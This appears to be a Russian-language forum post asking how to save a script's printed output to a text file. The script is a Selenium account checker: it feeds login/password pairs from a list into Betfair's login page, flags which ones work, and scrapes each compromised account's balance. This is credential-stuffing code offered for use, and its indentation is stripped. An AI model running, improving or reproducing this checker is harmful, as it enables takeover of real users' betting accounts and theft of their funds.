Необходимо записать содержимое всех print() в файл txt
while n < sum_lines:
try:
driver.get(base_site)
time.sleep(6)
# ждем подгрузки страницы и нажимаем на соглашение, что разрешаем хранить куки
try:
driver.find_element_by_xpath('//*[@id="onetrust-accept-btn-handler"]').click()
except:
print(Fore.RED +"error cookies confirmation")
print(Style.RESET_ALL)
time.sleep(1)
print('\033[33miteration ' + str(n+1) + '\033[0m')
pair_line = lines_in_file[n].split(' ') # Разделитель пары логин/пароль - пробел. Если иное, заменить пробел на символ разделителя
login = pair_line[0]
password = pair_line[1].strip('\n')
# пытаемся зайти
input_login = driver.find_element_by_xpath('//*[@id="username"]')
input_password = driver.find_element_by_xpath('//*[@id="password"]')
time.sleep(1)
input_login.send_keys(login)
time.sleep(1)
input_password.send_keys(password)
time.sleep(1)
driver.find_element_by_xpath('//*[@id="login"]').click()
time.sleep(5)
try:
driver.find_element_by_xpath('//*[@id="showMessage"]/p')
print('\033[31mwrong login or password with pairs: ' + login + '/' + password + '\033[0m')
except:
print('\033[32msУСПЕХ login with pairs: ' + login + '/' + password + '\033[0m')
time.sleep(2)
try:
driver.get('https://myaccount.betfair.com/summary/accountsummary')
time.sleep(3)
balance = driver.find_element_by_xpath('//*[@id="root"]/div/div/div[2]/div/div[3]/div[1]/div/div[1]/span').text
print('\033[32mBALANCE is: \033[31m' + balance + '\033[0m')
driver.delete_all_cookies()
except:
print("error balance")
time.sleep(2)